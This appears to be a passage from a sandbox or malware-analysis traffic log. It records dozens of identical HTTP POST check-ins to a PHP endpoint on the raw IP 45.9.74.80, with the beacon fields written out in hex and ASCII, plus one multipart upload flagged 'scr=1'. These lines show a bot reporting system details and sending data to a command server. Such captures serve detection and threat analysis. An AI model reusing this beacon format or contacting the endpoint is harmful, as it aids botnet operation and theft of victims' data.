Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTY5MjQ=Host: 45.9.74.80Content-Length: 97076Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
